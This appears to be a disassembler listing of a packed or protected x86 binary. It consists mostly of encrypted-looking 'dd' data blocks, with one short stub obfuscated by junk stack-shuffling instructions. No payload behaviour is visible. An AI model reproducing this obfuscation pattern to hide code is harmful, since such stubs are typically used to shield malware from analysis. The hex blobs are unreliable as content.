		dd 8A2AB48h, 48A1DCCh, 0F3A23567h, 0A72DE244h, 0C8053C08h
		dd 6277C18Ch, 5D0C40DCh, 75A744CAh, 8FC15CE2h, 0E3498EFCh
		dd 3BCE029Ch, 1479DD8Ch, 6A08EAA8h, 0B139A6B8h,	1B7BDD17h
		dd 8B3h, 15952DDBh, 0FDC5FCA4h,	0D0D361F3h, 0ACF27517h
		dd 42E169FBh, 0B362A039h, 3F7110B6h, 81D162ADh,	9863331Ch
		dd 0A71B8136h, 5029B749h, 48EBD017h, 55E62097h,	12A7890Dh
		dd 0DB2F1h, 91C35B00h, 1B51EE94h, 0A5DF781Eh, 306402A8h
		dd 0C1F38D33h, 0DF9B89C4h, 680E0B45h, 0F59B98CCh, 852B285Ah
		dd 61B7B4E6h, 0EB73FCDh, 6EE1F5F5h, 9DDC2750h, 0ED3DE4E7h
		dd 6504AC0Eh, 7B1AA033h, 0EC9BD972h, 2490F559h,	80B24FD7h
		dd 0B0F9F91Eh, 209CA6B8h, 5C000008h, 0F1059327h, 0AFFCA415h
		dd 0AE149CFEh, 3822B042h, 70F27517h, 15A84EDCh,	47F8F5F5h
		dd 0DF7E0698h, 6B0AB0ADh, 0A81AA639h, 0B2F5F515h, 0BA4EE010h
		dd 0CF619332h, 0F515B541h, 0D032E3F5h, 0D0255722h, 279E4FEBh
		dd 890D5A19h, 0CEE0FA4h, 100000Dh, 882E2B69h, 16BCB9EBh
		dd 0A44A477Dh, 2FD5D206h, 235E5B95h, 0A5DF7901h, 2E6602A8h
		dd 0BEF08B31h, 4A7C1BC1h, 0D563F74Dh, 0F5F50F21h, 33EE0C7Fh
		dd 49CF6294h, 5FE578AAh, 0DD19A7C4h, 0BBFCA415h, 42C85B0Ah
		dd 4CEA70A4h, 0F95C8518h, 5ABF23B3h, 3C23012h, 74D3A6B9h
		dd 93000007h, 0A415C82Dh, 5EF8CAFCh, 0BC857D38h, 28C54BD4h
		dd 1B05FF2h, 124CE76Fh,	0BA6ED07Fh, 0F2049226h,	0AEFCA358h
		dd 0C8ED9BFDh, 0D8F2745Ah, 6E0D9527h, 0FA993F3Ch, 0F3CF35C8h
		dd 0D8DD6BFDh, 0C8EBCF71h, 0E29AA017h, 7E13890Dh, 0C625Dh
		dd 0E113AB00h, 6BA13EE4h, 0F52FC86Eh, 80B452F8h, 1143DD83h
		dd 2F4BD914h, 0B85E5B95h, 45EBE81Ch, 0D57B78AAh, 0B1070436h
		dd 0D678F1Dh, 0BE31F5F5h, 629433A0h, 78AA49CFh,	0A70D50E5h
		dd 0ECF70954h, 64F729C7h, 0BAEA6CB5h, 8A74FB1h,	66F944D6h
		dd 2B457307h
		dd 789BBA1Ch, 0A6B8A97Ah, 1571Bh, 0A41C6700h, 0DB15B038h
		dd 0C875E392h, 94332666h, 0A93DCF62h, 0A415DB1Bh, 8E14C5FCh
		dd 7928BBF1h, 9ED06F17h, 49A71BA1h, 24B429B7h, 23D4F27Fh
		dd 32700991h, 487A199Fh, 0F55706B5h, 20EB440h, 932CF5FBh
		dd 0AA48CE61h, 57BAE376h, 0FF6281EDh, 0F01DD5B5h, 3678A00Fh
		dd 38000000h, 0CC069F27h, 39E0E26Ah, 381C659Fh,	0AE4010Bh
		dd 0E67A0CBBh, 0F88BC15Eh, 5839E749h, 0B0F27EABh, 0E2E06CFFh
		dd 0BFF5FAA9h, 0C032105Ch, 0D5A00F93h, 0B1h, 62943395h
		dd 75AF49CFh, 8BBD5CE2h, 42DE66F8h, 6100A80Ah, 3686322Fh
		dd 64FCA439h, 109693C5h, 1EAC3EB2h, 0F270991Bh,	0DCAC49D1h
		dd 1C518108h, 0C154033Eh, 0AE36B012h, 9B2DDC10h, 11E57307h
		dd 9EF5F903h, 5D05C038h, 23D42CF5h, 457F19C1h, 0CB4B9648h
		dd 36F2B469h, 952FD739h, 5348E45Bh, 0B84D8FA0h,	0B0A97h
		dd 396B0300h, 0C3F9963Ch, 4D8720C6h, 0D80CAA50h, 699B35DBh
		dd 87F3316Ch, 10B6B3EDh, 9D434074h, 2DD3D002h, 95F5C8Eh
		dd 0D0FE775h, 1689F5F5h, 679933F8h, 0F325C46Ah,	22BC44F6h
		dd 3BC95BEEh, 0FCA415BBh, 238534E5h, 629433E3h,	0A3F23DCFh
		dd 0B385EED7h, 0B9580062h, 70498A87h, 0B000005h, 0EF816F53h
		dd 7F234061h, 0E47728F2h, 0FB016A58h, 0FD8537F5h, 67CC2E64h
		dd 0EBB53D1Dh, 43E0A00Fh, 2C000002h, 44D709A4h,	2DF33395h
		dd 0FCA415CAh, 0D95CFAC8h, 0C39420ABh, 0EB36C877h, 99864539h
		dd 0ED97D485h, 4C02438Ch, 7F13C729h, 0E0995DEBh, 5607FCA3h
		dd 0E26546F4h, 7021F274h, 85B756DEh, 1143E288h,	46AA187Eh
		dd 649220B4h, 34F5F4E0h, 0DF6D2183h, 0EBCFF9D6h, 889A11C2h
		dd 0F9890D6Ah, 0A254364h, 50E80000h, 0D4711714h, 62FBA19Eh
		dd 0EF8D3330h, 801AC0BDh, 180C4744h, 8F8CC862h,	1A174DE9h
		dd 0AAA7D974h, 36336504h, 38BE4CE0h, 68F5F50Ch,	0DC27D7F5h
		dd 4E6C1025h, 0BB31594h, 21A73A6Ch, 17DF6D82h, 81FCA31Dh
		dd 0CF138236h, 8A390CF2h, 21B348DBh, 32C5FF99h,	0E26C3A83h
		dd 780291F9h, 44BB116h,	8EC25C65h, 0A09D4CFBh, 0B891757Dh
		dd 16C20A6h, 33E00000h,	49CF6294h, 5EE678AAh, 0E517B6BFh
		dd 92F4A352h, 1BD5ED73h, 24E2FB89h, 36BEF27Fh, 42DE6498h
		dd 3CC85B0Ah, 0F5FB0286h, 0FF4CB81Bh, 42A4DE77h, 0FF0D51Dh
		dd 46E46CA0h, 6550B012h, 9C000000h, 0FA7C7A08h,	6B1CF5FAh
		dd 9327C909h, 0A415F105h, 0B5FEAFFCh, 0A5DFB4B2h, 9A22847Fh
		dd 0A236C828h, 2876800Eh, 7122FCA3h, 3630610Fh,	47F8F27Eh
		dd 8E22B4h, 0F5FA1CF6h,	0E18FF1A2h, 0F5FA1CE1h,	0A4175DC0h
		dd 0D9677E1Ch, 0F5FA1D1Dh, 881BCA7Bh, 0B6BE90D9h, 21A40AC3h
		dd 11589ABFh, 0A73DA00Fh, 0FD000000h, 0F1059327h, 75FCA415h
		dd 0A4160FE7h, 80D889FCh, 26C56DCFh, 41DB61F4h,	57F67C0Fh
		dd 6D0C9225h, 0F88C3E3Bh, 0A4158C6Ah, 0F95B0CFCh, 0A464A14Bh
		dd 0FC2ECDFCh, 0A74979FFh, 70B28715h, 982CF270h, 0F833EC0Ah
		dd 0EE40BBF5h, 2680FF49h, 4AAC3ACEh, 56F5F84Dh,	1A94F6A5h
		dd 0B54FD769h, 3ED87E7Bh, 808D8B02h, 4BE08FA0h,	89E2Ah
		dd 9DD76F00h, 275DFAA0h, 0B9EB842Ah, 447816BCh,	0CD07A147h
		dd 0EB8F95D0h, 7C221F51h, 9AFACE0h, 9137346Eh, 6DC3C0F2h
		dd 9AB4BD9h, 82F5F5F5h,	67993364h, 0F325C46Ah, 9433B8F6h
		dd 0AA49CF62h, 1C3A7B78h, 88000003h, 159066F4h,	7C10FCA4h
		dd 0A41608EEh, 38E798FCh, 6F5396D6h, 53121EE7h,	9342F4DFh
		dd 27A2B601h, 8D3B85EFh, 7A29BCEEh, 72A845CBh, 1ACE30DFh
		dd 74F5898Ch, 9124D5F2h, 0F4F4BD05h, 9E32E4F5h,	0F4F4E610h
		dd 7B01B2F5h, 0E54AACDEh, 0DE37BB9Fh, 875EA009h, 1E000002h
		dd 0A415CA2Dh, 75149CFCh, 9F01B043h, 0D462AB17h, 0FCA41622h
		dd 275DF67Eh, 8736E594h, 16F667F5h, 0E192F275h,	0DC27BB4Fh
		dd 0DC735026h, 0F3038FAAh, 0ADF5F431h, 53F29AFCh, 3146B03Eh
		dd 0A152F5F4h, 0CC1560F2h, 73C4C1EDh, 34DAF95Bh, 3ED06395h
		dd 7D1154F3h, 7EE01D39h, 0F08ACCF6h, 3B351D20h,	0C553E594h
		dd 0EBCFDAF0h, 8A88FFB0h, 0D3890D0Bh, 7891D3Eh,	0EC840000h
		dd 7815BBB8h, 69F4542h,	8B29CFCCh, 1CB65C59h, 74B0EBE8h
		dd 3B386C06h, 0C6C3F995h, 4E4B8520h, 0DAD709A8h, 9462F084h
		dd 4F5F508h, 93277391h,	0A415F105h, 9CFEAFFCh, 902355F4h
		dd 0A3D976FEh, 0C8FA9941h, 7A0EA035h, 8D2054F2h, 15A452DEh
		dd 2CC6FCA4h, 8DEFA0F8h, 0E76FDC28h, 6EA03B4Ch,	0EA7D2CDBh
		dd 0CE25F23Bh, 0F88C1360h, 1D4FEE96h, 0F676408Bh, 75424FBh
		dd 8F6386A5h, 6A6B8C2h,	18Ah, 629433C6h, 78AA49CFh, 23CDF57Bh
		dd 0D975FD91h, 0D56110A3h, 0FCA41621h, 995DEB7Fh, 7FCA415h
		dd 9145A756h, 7F24DA03h, 7305B6F2h, 0B81A4CEBh,	24B7703h
		dd 52EFF5FBh, 68078D20h, 1154A336h, 0B91C3BABh,	0F0638F73h
		dd 4032A00Fh, 7E000000h, 0CE2F8133h, 0D3706EE0h, 5090F2A1h
		dd 0EF816F53h, 7F233061h, 0B447F8F2h, 0FB019A28h, 0CE02A0F5h
		dd 0DB1BA93Bh, 0C5F5FB01h, 0C0F48E14h, 519BDE2Dh, 0F943A6C5h
		dd 0FEBD919h, 0DBBCA0h,	277C0000h, 30B64893h, 3186CABBh
		dd 0A34A51A5h, 3C9E4FFCh, 30C3F594h, 42D410AAh,	4AD620AEh
		dd 11C2FCA3h, 0D468FAAFh, 0A34AB046h, 0CE28B6FCh, 0CAFCA34Ah
		dd 0C710C119h, 2373DDFEh, 0FCA406A6h, 6982B5Dh,	37D76BBh
		dd 7B162B16h, 5807B649h, 7DAF4EF6h, 94C663EBh, 0D1F05201h
		dd 0A6FBB725h, 1A4C97FCh, 91766783h, 0AC4BF355h, 0CBF77D7Ah
		dd 34059325h, 0E4F26FC6h, 7F19A133h, 0E964845h,	0F9A83B71h
		dd 1B55EF97h, 0A007A0A4h, 2F50E58Fh, 5E3h, 5552922Ah, 0E3E012AFh
		dd 716EA43Dh, 0FEFB2DCBh, 8582BE58h, 6A0DA4Ah, 8B27CDCAh
		dd 1BB65C59h, 0A746ECE9h, 8E227875h, 0F507F600h, 112FA2F5h
		dd 6482DC27h, 0F1A92ACFh, 134DE78Fh, 9FD17016h,	0B4E6850Dh
		dd 0F1107221h, 39F27B3h, 28C76FD1h, 121964F6h, 12DF5F4Ch
		dd 1DA358BAh, 9D4F4C7Eh, 0E2447615h, 3E9Fh, 94336100h
		dd 0A93DCF62h, 0A415DB1Bh, 0B214C5FCh, 0A6396B0Ah, 0B84B8520h
		dd 0C85B9932h, 1A84F033h, 0DB3C88CBh, 0CC0D0A3Ch, 30h
		dd 0FEF8861Ah, 9AFCA415h, 157E7806h, 691AFCA4h,	331858BAh
		dd 3DCF6294h, 9FE81AB5h, 0C67F4AB2h, 5503654Ah,	0FCA35E6Ch
		dd 2B6CD81Bh, 1F5D5A8Ch, 4E2CDC27h, 0E97AE975h,	86A194Bh
		dd 0FC8FC160h, 32C42C96h, 0AF7B169Eh, 0B204633Bh, 48AA591Ch
		dd 74AC7F9Ah, 77159DF2h, 0A103B245h, 50E47627h,	0A35D6E05h
		dd 47CD72F6h, 6F1779ABh, 0FBA19ED0h, 31972A5Ch,	39CD5F91h
		dd 7DDF15B1h, 0C537F1CFh, 0F08911EBh, 5C0B3DDBh, 3EB81AC9h
		dd 0D873FB8Dh, 89044A6h, 11A53769h, 2DB9EB89h, 0FCA2F4C9h
		dd 7ED60CA9h, 0A64C6BCDh, 0DC42D507h, 0EA780AE6h, 0F27E0323h
		dd 33BB32E3h, 0F28FA378h, 48D3C5Dh, 0E8800000h,	6C09AFACh
		dd 0FA933936h, 8725CBC8h, 18B25855h, 80A4DFDCh,	272460FAh
		dd 0B2AFE581h, 423F710Ch, 0CECBFD9Ch, 0A056E478h, 0F5F505h
		dd 94336F8Dh, 20BF6562h, 36D55BEEh, 99DC7104h, 1B4DEC53h
		dd 4A670189h, 0A4163ABCh, 6B566FCh, 906285A4h, 5A6B8FFh
		dd 67h,	9E6F53C5h, 0A415E610h, 8F2AB2FCh, 6413C255h, 6D9523B5h
		dd 41F27F57h, 6B0CBF6h,	65C733E0h, 6EEFA0EBh
		dd 0D27E0D32h, 78469123h, 0E719B890h, 0B45CA554h, 813597EEh
		dd 0B04D5EF9h, 8938E77Ah, 0FFEAACF7h, 8F0B1C97h, 92620E2Dh
		dd 0D8F5FA9Dh, 640A0739h, 1924C0C9h, 0AF4280h, 600FBE51h
		dd 3CDACCDh, 336E0000h,	49CF6294h, 0C97B78AAh, 6C82217Eh
		dd 0BB1D7836h, 0CF618F33h, 7F0B9C41h, 9D3AC2F2h, 38B0567h
		dd 0F3863567h, 0FB0B5B67h, 99E346F5h, 0FF939B9h, 0E67408A0h
		dd 0F5FB0410h, 0B4A96B9Fh, 0B9117ADAh, 0CD609231h, 0AD0D6F1Eh
		dd 40h,	593276Dh, 0FCA415F1h, 149CFEAFh, 0DD96A8AEh, 8D537DDBh
		dd 7C2BBEF4h, 0FE8C1ECDh, 0F27EE693h, 0FD8F22D3h, 0ED1BDB69h
		dd 0D485F5FAh, 0ECFEC472h, 40A3F5FAh, 0D6DC16F4h, 0C3B9A00Fh
		dd 79000000h, 0CF629433h, 0FF9EAF49h, 14F13ACDh, 197E3156h
		dd 7407B665h, 0AD464FEEh, 0A335C877h, 5BB27E1Bh, 0D7B9F6B7h
		dd 0B55DBF6Eh, 3BE7E416h, 0FCA3E191h, 0CFCCFE9Dh, 0C5588A29h
		dd 0FB8D635Fh, 3B431C67h, 7BDB9C0Eh, 0CE8E6B19h, 691AF27Eh
		dd 7CB64FD7h, 0B9D83AE9h, 0CF618F33h, 0E214B33Bh, 903EA04Fh
		dd 0EBC77BA3h, 2153EF77h, 9E30DF8Eh, 4B487C16h,	62D90BA5h
		dd 8909BB8Eh, 0C0D9FA8Fh, 4D000002h, 0DC827FB5h, 6A100D3Fh
		dd 0F09693D1h, 7B211E52h, 77B2AFE1h, 133CDADh, 8AC25E04h
		dd 124CE78Dh, 9ED06F15h, 29B74BA1h, 0F5F503CDh,	333A58CBh
		dd 0C46A6799h, 0CD61F325h, 0A415B73Fh, 0CE30E1FCh, 6F5371AFh
		dd 24D311AAh, 238D0492h, 8ED9F27Fh, 0A05A4437h,	45D88776h
		dd 5E902BB3h, 42744EFCh, 0CA2DF5FAh, 0EC891162h, 0C32F54B6h
		dd 0D2A00F2Ch, 0BCh, 62943392h,	92AF49CFh, 0A4376D0Ah
		dd 158D69F5h, 830BFCA4h, 7625B8EAh, 0F98518C7h,	0FCA412D3h
		dd 39366807h, 7028F493h, 0D1532157h, 700335D3h,	0D06312C1h
		dd 28C1586Ah, 0F9A857EAh, 5620D967h, 0F078F27Eh, 6E6B1A56h
		dd 0A533DAE8h, 0F5FA5951h, 5DEF9E4Fh, 0C70887CFh, 8E20D1EBh
		dd 3B386C06h, 8F67F589h, 9FCA208h, 0B44EF658h, 457D0980h
		dd 972C8909h, 1D276h, 71A33B00h, 0FB31CE74h, 85BF58FEh
		dd 1044E288h, 0A1D36D13h, 0BFBB69A4h, 48EEEB25h, 0D57B78ACh
		dd 650B083Ah, 419794C6h, 2D71FADh, 4EC1F5F5h, 67993330h
		dd 43B341D5h, 5DFCA415h, 852B4AACh, 79B7B4E6h, 0CF629433h
		dd 7B78AA49h, 0E86A36D5h, 7B54158Ch, 7D2C60FCh,	15A93BCEh
		dd 0A4016F87h, 167829FCh, 0A922348Eh, 4F89E431h, 950DE977h
		dd 0DA8BFCA3h, 5CEA7C2Bh, 0F27EC25Dh, 0B7E9870Fh, 972ADB55h
		dd 80C72D90h, 0B83ECCE1h, 0E8F5FA60h, 0E012B137h, 5DEF9E4Dh
		dd 60BB3BC9h, 51E5F5FAh, 0FA6133C3h, 0DBC6DF5h,	0BC068CABh
		dd 4D14A234h, 59EBD55Eh, 9CC6710Eh, 32E142FAh, 0ACC20D9Fh
		dd 0B993B949h, 25D406A3h, 4A7C1BC3h, 0DF2568B7h, 1246E46Ch
		dd 569A28B0h, 0BA1679C4h, 0A538926h, 0DE40FF5Bh, 0B1C59C2Ah
		dd 0DF67F27Eh, 0CA790C46h, 0AB3DEE68h, 4FF14560h, 3EED80B2h
		dd 0A7B5C0F5h, 0E1802645h, 0FB961CAFh, 7D2F36C9h, 86EECB32h
		dd 0CA2CEC5Fh, 19B81F65h, 5E64EAE7h, 47720092h,	5FEBD59Eh
		dd 84B93DCBh, 36E7FCA3h, 0CF6EF487h, 0E7830B9Dh, 189E53B5h
		dd 0F735AE7Ch, 0FEF1C58h, 0AE47CD60h, 527807DAh, 8E3DACE6h
		dd 0D92366FBh, 99E3464Dh, 0F2846C56h, 7EB35564h, 0FE9041F2h
		dd 721ADC6Ah, 0D586F5FAh, 0F4CE5473h, 0E0DC6AFCh, 2EBCB71h
		dd 0BB16E06Eh, 0B554FC9Ch, 187A2B83h, 0D35BED9Eh, 0C5740739h
		dd 8928AE63h, 15B45A57h, 2FBD51E3h, 0FC9CBAC7h,	9BE20D1h
		dd 8B5DA17Dh, 0FF4588DDh, 3468048Ch, 828B2AD2h,	0B73FCDE4h
		dd 0E1DD9920h, 0D5D28130h, 0CB5E902Fh, 0E275A745h, 0CB0C78DBh
		dd 57FDFA2Ch, 0D2F386B8h, 3, 332D4D94h,	50D6699Bh, 66EC7FB1h
		dd 800699CBh, 971DB0E4h, 0AA30C3FDh, 0BB41D410h, 0D258EB1Dh
		dd 0E268FB39h, 2A7C0F45h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		mov	esi, 6AF017Bh
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	4398h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		mov	ecx, 8
		add	ecx, esi
		push	edx
		mov	edx, 0
		add	edx, ecx
		mov	[edx], eax
		pop	edx
		pop	ecx
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		db 1Fh
		dd 0EE0DF1DEh, 0B8BA4119h, 6AF14FFh, 0E0FFC503h, 264F20D6h
		dd 281F16EDh, 655043A3h, 55B80240h, 34588E77h, 20B18AB4h
		dd 3823AB7Eh, 357FE516h, 6D467BC0h, 32768BF2h, 51A80AC5h
		dd 20A26008h, 663DC392h, 30654DE2h, 33B42AB5h, 60ADDAE2h
		dd 8B8B12Eh, 5CFCB9BAh,	562EAF88h, 58B98150h, 290392BBh
		dd 6AB8E862h, 3A1BEAF5h, 68E0B24Ah, 16508D8Dh, 8D8906AFh
		dd 6A916CDh, 0CE585C7h,	6B6C06A9h, 0BD310000h, 6A90F2Dh
		dd 11CD85C7h, 6A9h, 0BD290000h,	6A931B5h, 0A3DB5FFh, 9D8906A9h
		dd 6A922B5h, 328195FFh,	850306A9h, 6A921B5h, 6ADD8Ah, 2D9595FFh
		dd 0C08B06A9h, 0DAF26FEBh, 0FF377088h, 73757CF1h, 26366B15h
		dd 8E3E682h, 4A396AD0h,	96FB8D95h, 173FF309h, 0B884F300h
		dd 0BEDE423Fh, 8C12A3F7h, 898B6A4Ah, 27F6C4A8h,	0B3E8465Bh
		dd 8CC5FEF7h, 66A12667h, 7DB727D2h, 0F314708Fh,	0C58010D8h
		dd 1F8FD21Eh, 333FEFEFh, 0E03DF16Eh, 0FDB0BD8Fh, 6DD08154h
		dd 30F84E3Ch, 557F12BCh, 1CC9AF78h, 934E3976h, 6E811h
		dd 0CF580000h, 0AA55413Ah, 29518589h, 15A06A9h,	0A91E398Dh
		dd 9CC28106h, 0E8000073h, 12h, 4F951C56h, 2ABC2803h, 0BFEF6F76h
		dd 5A3E041h, 9D893705h,	6A916F5h, 1CC4BE58h, 0FFF90000h
		dd 4D958932h, 5F06A934h, 0FEF81F8h, 6658BF72h, 0EF81DE8Bh
		dd 2D63DED8h, 0D9CA51B8h, 0ECF7814Ah, 502E952Dh, 0BEC070BBh
		dd 3A895B6Eh, 885AE981h, 0EA832CB8h, 0FACD8004h, 0C0850F4Eh
		dd 0E8FFFFFFh, 7, 0E6BA84E5h, 8BE3296Bh, 0A922059Dh, 32E95806h
		dd 45000000h, 57A0EFh, 24200h, 0Ah dup(0)
		dd 0BFEE900h, 0FD680000h, 0E906AF18h, 0FFFB3278h, 0AF19EA68h
		dd 326EE906h, 6568FFFBh, 0E906AF1Bh, 0FFFB3264h, 0AF1C1E68h
		dd 325AE906h, 0DE68FFFBh, 0E906AF1Ch, 0FFFB3250h, 0AF1F0068h
		dd 3246E906h, 9E68FFFBh, 0E906AF1Fh, 0FFFB323Ch, 0AF20CC68h
		dd 3232E906h, 0F968FFFBh, 0E906AF21h, 0FFFB3228h, 43CCC75h
		dd 5C9424CFh, 0B1E97927h, 43CCC7Ch, 5A9222CFh, 5B08B95Eh
		dd 0B25E93CBh, 6B5EA22h, 5F093E76h, 0C45397CFh,	0AFE4C65Fh
		dd 5ECE131Fh, 36A0ED4Ch, 1427128Bh, 12A24C7Fh, 560538A5h
		dd 841959C6h, 0DF17A751h, 8BD1B730h, 3BCC66FFh,	78DD6CCEh
		dd 1FAA8EC6h, 9828D508h, 2656EB2Bh, 51277E4h, 921FA968h
		dd 0B46758F5h, 2DAD4215h, 27h, 0CCDB0CBDh, 792D83Dh, 77B91FAAh
		dd 0E6F0A50Ah, 88251FA9h, 9347FAC5h, 0BEC0AD41h, 33000000h
		dd 55C25200h, 4C308015h, 0F3E17ADFh, 0EC2E1900h, 0EA7A2457h
		dd 0D9D4A7Dh, 33C36DA0h, 59E993C6h, 5FF85DCAh, 0AC1900F3h
		dd 50BFD56Ah, 4DE2721Dh, 0F806E8h, 28B86219h, 8111BBF0h
		dd 27806714h, 2BBB6598h, 6AC42996h, 7C1FAA13h, 6C179A49h
		dd 0CD0D7ADCh, 8EC60838h, 109F08DFh, 58E4AABh, 0E675B719h
		dd 0D78306B3h, 78ADE547h, 96053BCBh, 18F5EC74h,	9E83FABh
		dd 0DA830000h, 32DD124Ah, 87356AA2h, 0DA8ABFF7h, 30DD124Ah
		dd 0AB6C68A0h, 0A1D96916h, 0F830C06Ch, 4C8414C3h, 0A5DD6D17h
		dd 0D46DD261h, 211FAFEBh, 0D9866CDCh, 35A21149h, 0F3B7D0h
		dd 0AD428419h, 840D07Ah, 0CCDB0CB6h, 0D26BD03Dh, 1F1900F3h
		dd 40AD3DEAh, 9C099E00h, 0AA073337h, 0F8A8DB1Fh, 26BBFB68h
		dd 0E247B4F6h, 1FA9E735h, 3788C562h, 0AD419284h, 0C8FDh
		dd 0DC868D00h, 0DC8ABD4Ch, 396CB74Ch, 2A8FFC8Ch, 1900F858h
		dd 326AFAA4h, 34C353FDh, 20D05301h, 81E32390h, 0F3F4A1ECh
		dd 39B26295h, 0E0450C70h, 19002547h, 8EF05294h,	0C1409AFFh
		dd 4D8F1FAAh, 0D439A615h, 1FA908BBh, 4B14688h, 0C835C4E3h
		dd 0BB67EA95h, 1C5CC92Bh, 0F68B1BC7h, 55F3F91h,	0BB4A8C19h
		dd 134BDB88h, 6BA131DEh, 0F5EBA53Ah, 0FBAF1B88h, 70000008h
		dd 0CAFF37C7h, 22578F1Fh, 77ACE474h, 0CAFF37C7h, 59558D1Dh
		dd 0C6560344h, 1DAD598Eh, 7101B0E5h, 0CA5A0439h, 5ABF4E92h
		dd 1FAFEAC1h, 8659C90Eh, 75E22AD9h, 2F9B56C1h, 66B1CAh
		dd 0DA3C7E19h, 0E648D885h, 0E4742457h, 8CA23777h, 0E51DAD57h
		dd 4CDC8693h, 7202ACDFh, 0EC98CB3Ah, 0C22FBF69h, 73B32082h
		dd 0FEB631DEh, 1151BE4Eh, 0A2C120AFh, 9D459115h, 0E449B64Bh
		dd 1FA99B1Ah, 0BE4EF92Ch, 4AB7F929h, 84BE6D17h,	77726757h
		dd 9DD20A6Ch, 89F663F3h, 0AB18A856h, 0C571D66Bh, 0E5A6EE95h
		dd 741EE36Ah, 0DE3DACE4h, 13782EA7h, 94EF987Ah,	970485C7h
		dd 0D90CA1D9h, 0DD109F2Fh, 0C10CA131h, 0EF97BE5Ch, 1C31AC94h
		dd 73AB3BE5h, 6411943Eh, 17E653D4h, 0FC64F6D1h,	0D6C82D9Ah
		dd 1594EFC0h, 0A24CB598h, 0FBA5DA12h, 0CC39C978h, 60D70B8Ch
		dd 0E9D2E3AEh, 7AAD1A87h, 0FEAB40D0h, 0D02FBEE9h, 67178E04h
		dd 8A4B56D7h, 0EA4FBC51h, 9245FC58h, 0BE2D65A7h, 5BC2A5Fh
		dd 33C208B8h, 9926B5CEh, 0AB40828Dh, 2FBEE9FEh,	33D018CAh
		dd 7B7EA8Bh, 70B2E277h,	1BF89E03h, 821F8242h, 6241F4CBh
		dd 9CBA41DBh, 4A000004h, 0F33B54h, 3C6D319h, 514E1901h
		dd 0B11900E7h, 1900E7E4h, 15A403E4h, 39C975A8h,	92F78CCCh
		dd 1FAA0EF0h, 0C0D70D4Fh, 0FEFC9817h, 7802591h,	42EB0000h
		dd 9A457AB2h, 0EF9DD20Ah, 42F2275Fh, 98457AB2h,	0C3D4D008h
		dd 941D17Eh, 609828D4h,	0B4EC7C2Bh, 0D45D57Fh, 0BCD53AC9h
		dd 891FAFE8h, 194CD444h, 0A838E76Ah, 0D47EB146h, 0BD2AD744h
		dd 81EE5BEAh, 0F3031Ch,	0F09BD019h, 469FE60h, 1FB00AB5h
		dd 809CD416h, 0CCE8FF32h, 0EC1F8C1Ch, 0FF3FAC3Ch, 47AC3B9Dh
		dd 19051E83h, 86EB66A8h, 0C53A01D2h, 2DBCEBFCh,	13767AC8h
		dd 9570D1A3h, 3F187CCDh, 923FAC0Eh, 0CA943355h,	875C8D83h
		dd 3A319625h, 7DCC836h,	560336C5h, 841959C6h, 0AA3AE417h
		dd 0E4933D72h, 0E396F3C3h, 4177D991h, 39357440h, 0C7990572h
		dd 0A4000006h, 0FE336BFBh, 568BC353h, 0ABE018A8h, 0FE336BFBh
		dd 8D89C151h, 0FA8A3788h, 51E18DC2h, 0A535E419h, 0FE8E386Dh
		dd 8EF382C6h, 1FAFEFF5h, 0C8DFD42h, 0D03DCCDBh,	0F365FE63h
		dd 70B21900h, 0F68C76DBh, 0B9FB1FA9h, 0DF6F194Ch, 0E36AE572h
		dd 0D56443A4h, 5883568h, 1A5AC757h, 760B4BB8h, 0F52911h
		dd 0C5549619h, 0B560E392h, 1678B825h, 8FFC6B81h, 52F5112Ah
		dd 1B7DDE14h, 0F512EEFFh, 0BC21B618h, 145280DFh, 52801E37h
		dd 2E796E14h, 79FF3A9Fh, 0A4C12E2h, 68CB1C7Bh, 96F7949Eh
		dd 0B189A207h, 14560D01h, 0B5CF347Fh, 510D01B1h, 0D01B143h
		dd 8DC353FDh, 0EF400FF6h, 7EF5BC8h, 64000006h, 0BEF32BBBh
		dd 164B8313h, 6BA0D868h, 0BEF32BBBh, 4D498111h,	0BA4AF748h
		dd 11A14D82h, 65F5A4D9h, 0BE4EF82Dh, 4EB34286h,	1FAFEF35h
		dd 4C4DBD02h, 0AE79CDEDh, 73049h, 3ABBFD19h, 79DE8719h
		dd 190034E0h, 0F489EB2Dh, 6514A047h, 45A737E2h,	0A73698D8h
		dd 0B0CDF742h, 45AA171Fh, 1FAF2D2Ch, 0F222B7F9h, 661043B0h
		dd 0C22F9ED6h, 0AF2DC45Dh, 2EDC111Fh, 0FAA73C9Eh, 0C625B4F3h
		dd 0AD21D53Ah, 7000B0E8h, 0CC61C303h, 14A44E81h, 46AB1885h
		dd 1FAFD62Dh, 1831B8FAh, 0E51FAFD6h, 97606B0h, 641267C9h
		dd 922767D4h, 0D9D477Ch, 33C36DA0h, 5BC835C6h, 7CE97928h
		dd 0D69CB53Ch, 27691FAFh, 0CB361792h, 0E2599121h, 0AD47A32Fh
		dd 1BAA8h, 8CBC1B00h, 7397BB3h,	0C46962Bh, 0A3DCCDBh, 0C835CA5Ah
		dd 0AA28C363h, 4FDE201Fh, 72DF6F1Ch, 0ED529D32h, 1FA9C62Ah
		dd 0F360F09Ch, 188515C0h, 0F6A535E5h, 6F22D27Bh, 0B92E59F4h
		dd 68FA5FEEh, 0B719031Dh, 4B3E675h, 72C70774h, 85C532C2h
		dd 0FE6BDAF0h, 52998099h, 760B4D14h, 9C099943h,	0F72FBF69h
		dd 5A9B2988h, 18DE2286h, 9611D683h, 1C359A07h, 0E91452AFh
		dd 18A852A7h, 4AA91683h, 5AFB4C28h, 58BD4CF7h, 1452F03Fh
		dd 0D035CA0Ch, 12F805AEh, 89EE5B9Dh, 0AFBE48Ch,	0DEE16C09h
		dd 0BA93912Bh, 30A4h, 0DB0C3400h, 92D83DCCh, 0B91FAA07h
		dd 0F0A50A77h, 251FA9E6h, 0A302C588h, 0CE17AB40h, 5E5DB1E7h
